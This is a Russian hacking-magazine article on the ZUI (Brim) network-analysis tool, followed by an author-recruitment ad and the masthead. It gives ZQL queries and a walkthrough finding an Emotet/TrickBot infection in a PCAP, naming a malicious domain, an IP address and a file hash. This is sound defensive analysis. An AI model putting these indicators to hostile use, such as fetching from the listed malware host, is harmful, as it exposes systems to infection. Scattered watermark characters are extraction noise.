Изначаль­ ­но ZUI назывался­ Brim и специали­ ­зиро­вал­ся исключитель­ ­но на ана­ лизе сетевого­ трафика­ и логов. Но из за универ­ ­саль­нос­ти движка­ ZED он начал развивать­ ­ся и в других­ направле­ ­ниях, а именно­ в сторону­ аналити­ ­ки данных­ .

Идея движка­ ZED, который позволя­ ­ет ZUI обрабаты­ ­вать файлы­ PCAP нам­ ного быстрее­ Wireshark, состоит­ в том, чтобы­ избавить­ ­ся от концепции­ таблиц­ из базовой модели данных­ . Их заменили­ современ­ ­ной системой­ типов, при которой каждое­ значение­ может иметь свой тип независимо­ от составной­ схемы­ , как это сейчас­ реализова­ ­но в старых­ моделях. Получается­ , ZED — и не полуструк­ ­туриро­ван­ный, и не табличный­ . Создатели­ называют­ такую кон­ цепцию суперструк­ ­туриро­ван­ной.

Основатель­ компании­ Brim, разработ­ чика­ ZUI, — это не кто иной, как Стив Маккейн­ , создатель­ формата­ PCAP, BPF и соавтор­ tcpdump.

Для примера­ можно­ привес­ ­ти формат­ из Zed data model под названи­ ­ем ZSON. Это привыч­ ­ный нам JSON с собствен­ ­ными типами значений­ .

Этих знаний­ нам хватит­ , чтобы­ использовать­ ZUI в его самом интерес­ ­ном для нас варианте­ примене­ ­ния — анализе­ трафика­ .

Схема­ работы

УСТАНОВКА

Linux

Для установ­ ­ки ZUI в Linux используй­ следующие­ команды­ :

wget "https://github.com/brimdata/brim/releases/download/v0.31.0/

Brim-0.31.0.deb"

sudo chmod +x ./Brim-0.31.0.deb; apt install ./Brim-0.31.0.deb

Обязатель­ ­но поменяй версию­ приложе­ ­ния в команде­ , чтобы­ пользовать­ ся­ самым новым релизом.

Windows и macOS

Для них суть та же: достаточ­ ­но скачать­ с официаль­ ­ного сайта­ приложе­ ­ния уста­ новщик­ и запустить­ его.

ИНТЕРФЕЙС

Сначала­ полюбуемся­ минималис­ тичным­ UI и увидим­ , насколь­ ко­ он хорошо организо­ ван­ . На вход программы­ можно­ подавать JSON, CSV, ZSON, ZNG и файлы­ других­ форматов­ , но нам интерес­ нее­ всего­ скормить­ ZUI файл PCAP или структуриро­ ван­ ный­ лог, например­ Zeek log.

Главная­ страница­ утилиты­

Как только­ ты откроешь­ файл PCAP в ZUI, он тут же пройдет­ ся­ по нему движ­ ками Zeek и Suricata, после­ чего отобразит­ все находки­ , а также­ подтянет­ ссылки­ на найден­ ные­ хеши с VirusTotal. Ну что сказать­ , круто­ !

Pool — это место­ , где хранит­ ся­ преобра­ зован­ ный­ PCAP. Ты можешь заг­ ружать сразу­ несколь­ ко­ файлов­ в один pool, и все данные­ из них будут дос­ тупны в одной строке­ поиска­ . На таймлай­ не­ можно­ выбрать­ диапазон­ времени­ , который сейчас­ требует­ ся­ изучить­ . В деталях можно­ посмотреть­ самую ценную­ информацию­ , этакие­ поля корреляции­ .

Мне показалась­ особен­ ­но интерес­ ­ной фича с небольшой­ диаграм­ ­мкой вза­ имодей­ ­ствия двух хостов­ . Она отобража­ ­ется, если открыть лог с зеленым тегом conn. Также­ весьма­ полезна­ кнопка­ открытия­ потока данных­ в Wireshark, но о ней уже было сказано­ выше.

Неболь­ шая­ диаграмма­ взаимо­ дей­ ствия­ хостов­

ПРИМЕНЯЕМ ZUI НА ПРАКТИКЕ И ПИШЕМ ЗАПРОСЫ

Начать­ стоит­ с того, что писать запросы­ с помощью ZQL query совсем­ не труд­ но. Достаточ­ ­но просто­ найти­ в логах нужные­ поля и отфильтро­ ­вать по ним логи. Строка­ запроса­ будет обрастать новыми и новыми условиями­ поиска­ . Лично­ я постоян­ ­но забываю, как находить ту или иную информацию­ с помощью филь­

тров Wireshark.

Создание­ фильтру­ юще­ го­ правила­ с помощью выбора полей

Я подготовил­ для тебя примеры­ запросов­ поиска­ , которые покроют­ основные юзкейсы­ при работе с ZUI.

Количес­ ­тво каждой­ категории­ тегов:

count() by _path | sort -r

Все уникаль­ ные­ DNS queries:

_path=="dns" | count() by query | sort -r

SMB- и RPC-трафик­ в системах­ Windows:

_path matches smb* OR _path=="dce_rpc"

HTTP-запросы­ и фильтра­ ция­ самых полезных­ колонок:

_path=="http" | cut id.orig_h, id.resp_h, id.resp_p, method, host,

uri | uniq -c

Уникаль­ ные­ коннекты­ и их количество­ :

_path=="conn" | cut id.orig_h, id.resp_p, id.resp_h | sort | uniq

Количес­ тво­ переданных­ байтов­ на один коннект­ :

_path=="conn" | put total_bytes := orig_bytes + resp_bytes | sort

-r total_bytes | cut uid, id, orig_bytes, resp_bytes, total_bytes

Поиск­ передаваемых­ файлов­ :

filename!=null | cut _path, tx_hosts, rx_hosts, conn_uids, mime_

type, filename, md5, sha1

Все запросы­ HTTP Post:

method=="POST" | cut ts, uid, id, method, uri, status_code

Все IP-подсети­ :

_path=="conn" | put classnet := network_of(id.resp_h) | cut

classnet | count() by classnet | sort -r

Ну и в завершение­ парада самые, на мой взгляд, классные­ . Демонс­ тра­ ция­ всех срабаты­ ваний­ сигнатур­ Suricata и их количество­ :

event_type=="alert" | count() by alert.severity,alert.category |

sort count

Демонс­ тра­ ция­

всех срабаты­

ваний­

сигнатур­

Suricata, отфильтро­ ван­ ных­

по Source IP и Destination IP:

 

 

 

event_type=="alert" | alerts := union(alert.category) by src_ip,

dest_ip

СПИДРАН ПО ПОИСКУ EMOTET C2

Впервые­ Emotet обнаружи­ ­ли в 2014 году, и тогда­ исследова­ ­тели безопасности­ классифици­ ­рова­ли его как банков­ ­ский троян­ . Emotet в свое время­ вызвал­ целую эпидемию­ и успел серьезно­ навредить­ многим­ пользовате­ ­лям. Однако­ позже­ этот трой мутировал­ в дроппер­ и начал продавать­ ­ся в даркне­ ­те по прин­ ципу CaaS (Cybercrime as a Service). Новой функци­ ­ей малвари­ стала­ загрузка­ другого­ вредонос­ ­ного ПО в систему­ жертвы­ .

Одним­ из распростра­ ­няемых Emotet’ом вредоно­ ­сов был банков­ ­ский троян­ TrickBot. Эту связку­ мы сейчас­ и найдем­ с помощью ZUI.

Для анализа­ нам понадобит­ ся­ вот этот файл

PCAP.

Начинаем

Найдем­ все вхождения­ DNS в файле­ PCAP. Для этого­ используем­ один из ранее приведен­ ­ных запросов­ .

_path=="dns" | count() by query | sort -r

Поиск­ всех вхождений­ DNS

Больше­ всего­ выделяются­ два адреса­ : 112.146.166.173.zen.spamhaus.org

и t-privat.de. Первый­ относит­ ­ся к платформе­ threat-intelligence под названи­ ­ ем Spamhaus. А вот второй­ нам стоит­ проверить­ на VirusTotal. Для этого­ вызовем контекс­ ­тное меню и выберем VirusTotal Lookup.

VirusTotal в меню

VirusTotal проводит­ провер­ ку­ и сообщает­ нам, что домен вредонос­ ный­ и ранее использовал­ ся­ для хостинга­ малвари­ .

Резуль­ таты­ провер­ ки­ на VirusTotal

Найдем­ запись типа A и используем­ более старую­ дату резолва­ , которая ближе­ к дате публикации­ PCAP. Это будет адрес 81.169.145.161. Попробу­ ­ем найти­ совпадения­ в нашем файле­ PCAP.

Мы обнаружи­ ­ваем адрес, и наше внимание­ привлека­ ­ет то, что с него передается­ файл во внутреннюю­ сеть. Это очень подозритель­ ­но, надо иссле­ довать дальше­ .

Охота­ на адрес

Откро­ ­ем вкладку­ с этим коннектом­ и достанем­ оттуда­ MD5-хеш

997d6f2e3879bb725fb4747b0046bb50. Теперь нам надо проверить­ его на вре­

доносность­ .

Файл на VirusTotal

Что ж, сомнения­ отпали­ , хост 10.9.1.101 — это наш первый­ зараженный­ .

С2 под прицелом

Надо­ найти­ все передаваемые­ файлы­ , которые содержатся­ в этом дампе­ . Для этого­ используем­ такую строку­ поиска­ :

filename!=null | cut _path, tx_hosts, rx_hosts, conn_uids, mime_

type, filename, md5, sha1

И что же мы видим? Еще один IP-адрес. Закидываем­ его на VirusTotal и убеж­ даемся­ , что он вредонос­ ный­ .

Новый­ подозритель­ ный­ адрес

Чтобы­ удостоверить­ ся­ , что это управляющий­ сервер­ , проверим­ остальные­ кон­ некты на этот адрес. Сразу­ становит­ ся­ очевид­ но­ : имеют­ место­ «маячковые­ отстукива­ ния­ ».

Новый­ подозритель­ ный­ адрес

Масштаб заражения

Отсорти­ ­руем трафик­ по тегам, чтобы­ представ­ ­лять самые частые­ типы вза­ имодей­ ­ствия между­ хостами­ .

_path | count() by _path | sort -r

Общая­ картина­ по трафику­

Хм, можно­ сказать­ , что ничего указыва­ ­юще­го на дальнейшее­ распростра­ ­нение малвари­ здесь нет. В таких рассле­ ­дова­ниях обычно­ рассчи­ ­тыва­ешь увидеть­ активность SMB and DCE/RPC.

Для уверен­ ­ности, что заражение­ не пошло­ дальше­ , можно­ посмотреть­ кон­ некты, которые совершал­ первый­ (и, надеемся­ , последний­ ) инфициро­ ­ван­ный хост.

Масштаб­ ного­ заражения­ нет

Нам интерес­ ны­ коннекты­ только­ из той же подсети­ . Ничего подозритель­ ного­ не наблюда­ ется­ .

Итоги спидрана

Мы нашли­ несколь­ ­ко IOC, первый­ зараженный­ хост, С2-сервер­ , а также­ выяс­ нили, что дальше­ хоста­ 10.9.1.101 заражение­ не пошло­ .

ВЫВОДЫ

Сколько­ времени­ было потрачено­ на ожидание­ , пока Wireshark отобразит­ (если вообще­ отобразит­ ) список­ вхождений­ после­ фильтра­ ­ции при анализе­ боль­ шого файла­ PCAP... Для многих­ это станови­ ­лось настоящим­ испытани­ ­ем. Но теперь ты знаешь­ про существо­ ­вание ZUI, который заметно­ упростит твою работу.

ZUI, к сожалению­ , не может стать полноцен­ ­ной заменой Wireshark, он ско­ рее превраща­ ­ет утомитель­ ­ный процесс­ в продук­ ­тивную работу и бережет нер­ вы. Но в качестве­ помощника­ в анализе­ трафика­ он просто­ незаменим­ .

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

«Хакеру» нужны новые авторы, и ты можешь стать одним из них! Если тебе интересно то, о чем мы пишем, и есть желание исследовать эти темы вместе с нами, то не упусти возможность вступить в ряды наших авторов и получать за это все, что им причитается.

Авторы получают денежное вознаграждение. Размер зависит от сложности и уникальности темы и объема проделанной работы (но не от объема текста).

Наши авторы читают «Хакер» бесплатно: каждая опубликованная статья приносит месяц подписки и значительно увеличивает личную скидку. Уже после третьего раза подписка станет бесплатной навсегда.

Кроме того, наличие публикаций — это отличный способ показать работодателю и коллегам, что ты в теме. А еще мы планируем запуск англоязычной версии, так что у тебя будет шанс быть узнанным и за

рубежом.

И конечно, мы всегда указываем в статьях имя или псевдоним автора. На сайте ты можешь сам заполнить характеристику, поставить фото, написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или, наоборот, не делать этого в целях конспирации.

Я ТЕХНАРЬ, А НЕ ЖУРНАЛИСТ. ПОЛУЧИТСЯ ЛИ У МЕНЯ НАПИСАТЬ СТАТЬЮ?

Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь тему — значит, и написать сможешь. Не умеешь — поможем, будешь сомневаться — поддержим, накосячишь — отредактируем. Не зря у нас работает столько редакторов! Они не только правят буквы, но и помогают с темами и форматом и «причесывают» авторский текст, если в этом есть необходимость. И конечно, перед публикацией мы согласуем с автором все правки и вносим новые, если нужно.

КАК ПРИДУМАТЬ ТЕМУ?

Темы для статей — дело непростое, но и не такое сложное, как может показаться. Стоит начать, и ты наверняка будешь придумывать темы одну за другой!

Первым делом задай себе несколько простых вопросов:

«Разбираюсь ли я в чем то, что может заинтересовать других?»

Частый случай: люди делают что-то потрясающее, но считают свое занятие вполне обыденным. Если твоя мама и девушка не хотят слушать про реверс малвари, сборку ядра Linux, проектирование микропроцессоров или хранение данных в ДНК, это не значит, что у тебя не найдется благодарных читателей.

«Были ли у меня в последнее время интересные проекты?» Если ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты разрабатываешь что-то необычное или даже просто настроил себе какую-то удобную штуковину, обязательно расскажи нам! Мы вместе придумаем, как лучше подать твои наработки.

«Знаю ли я какую то историю, которая кажется мне крутой?»

Попробуй вспомнить: если ты буквально недавно рассказывал кому-то о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то с немалой вероятностью это может быть неплохой темой для статьи. Или как минимум натолкнет тебя на тему.

«Не подмечал ли я, что в Хакере упустили что то важное?» Если мы о чем-то не писали, это могло быть не умышленно. Возможно, просто никому не пришла в голову эта тема или не было человека, который взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, подкинуть нам идею все равно можно.

Уговорили, каков план действий?

1.Придумываешь актуальную тему или несколько.

2.Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких предложений (pro tip: их потом можно пустить на введение).

3.Выбираешь редактора и отправляешь ему свои темы (можно главреду — он разберется). Заодно неплохо бывает представиться и написать пару слов о себе.

4.С редактором согласуете детали и сроки сдачи черновика. Также он выдает тебе правила оформления и отвечает на все интересующие вопросы.

5.Пишешь статью в срок и отправляешь ее. Если возникают какие-то проблемы, сомнения или просто задержки, ты знаешь, к кому обращаться.

6.Редактор читает статью, принимает ее или возвращает с просьбой

доработать и руководством к действию.

7. Перед публикацией получаешь версию с правками и обсуждаешь их

с редактором (или просто даешь добро).

8.Дожидаешься выхода статьи и поступления вознаграждения.

Если хочешь публиковаться в «Хакере», придумай тему для первой статьи и предложи редакции.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

№1 (286)

Андрей­

Письмен­ ­ный

Вален­ тин­ Холмогоров­

Илья Русанен

Главный­ редактор­

 

Ведущий редактор­

Разработ­

­ка

pismenny@glc.ru

 

valentin@holmogorov.ru

rusanen@glc.ru

 

 

 

 

 

Евгения­

Шарипова­

 

 

 

 

 

 

 

Литератур­ ный­ редактор­

 

 

MEGANEWS

Мария­ Нефёдова­ nefedova@glc.ru

АРТ

yambuto yambuto@gmail.com

КОНСУЛЬТАЦИОННЫЙ СОВЕТ

Иван Андреев­ , Олег Афонин­ , Марк Бруцкий­ Стемпковский­ , Алексей­ Глазков­ , Nik Zerof, Юрий Язев

РЕКЛАМА

Анна­ Яковлева­

Директор­ по спецпро­ ­ектам yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА

Вопросы­

по подписке­

:

​Воп­росы по материалам­

:

 

lapina@glc.ru

 

 

 

support@glc.ru​

 

 

 

 

 

 

 

 

 

 

Адрес­ редакции­ : 125080, город Москва­ , Волоколам­ ­ское шоссе­ , дом 1, строение­ 1, этаж 8, помещение­ IX, комната­ 54, офис 7. Издатель­ : ИП Югай Александр­ Олегович­ , 400046, Волгоград­ ­ская область, г. Волгоград­ , ул. Дружбы­ народов, д. 54. Учредитель­ : ООО «Медиа Кар»​ ​125080, город Москва­ , Волоколам­ ­ское шоссе­ , дом 1, строение­ 1, этаж 8, помещение­ IX, комната­ 54, офис 7. Зарегистри­ ­рова­но в Федеральной­ службе­ по надзору­ в сфере­ связи­ , информацион­ ­ных технологий­ и массовых­ коммуника­ ­ций (Роскомнад­ ­зоре), свидетель­ ­ство ​Эл № ​ФС77-​67001 от ​30.08​.​ 2016 года. Мнение­ редакции­ не обязатель­ ­но совпада­ ­ет с мнением­ авторов­ . Все материалы­ в номере предос­ ­тавля­ются как информация­ к раз­ мышлению­ . Лица, использующие­ данную­ информацию­ в противо­ ­закон­ных целях, могут быть привлечены­ к ответствен­ ­ности. Редакция­ не несет ответствен­ ­ности за содержание­ рекламных­ объявле­ ­ний в номере. По вопросам­ лицензирова­ ­ния и получения­ прав на использование­ редакцион­ ­ ных материалов­ журнала­ обращай­ ­тесь по адресу­ : xakep@glc.ru. © Журнал­ «Хакер», РФ, 2022

Соседние файлы в папке журнал хакер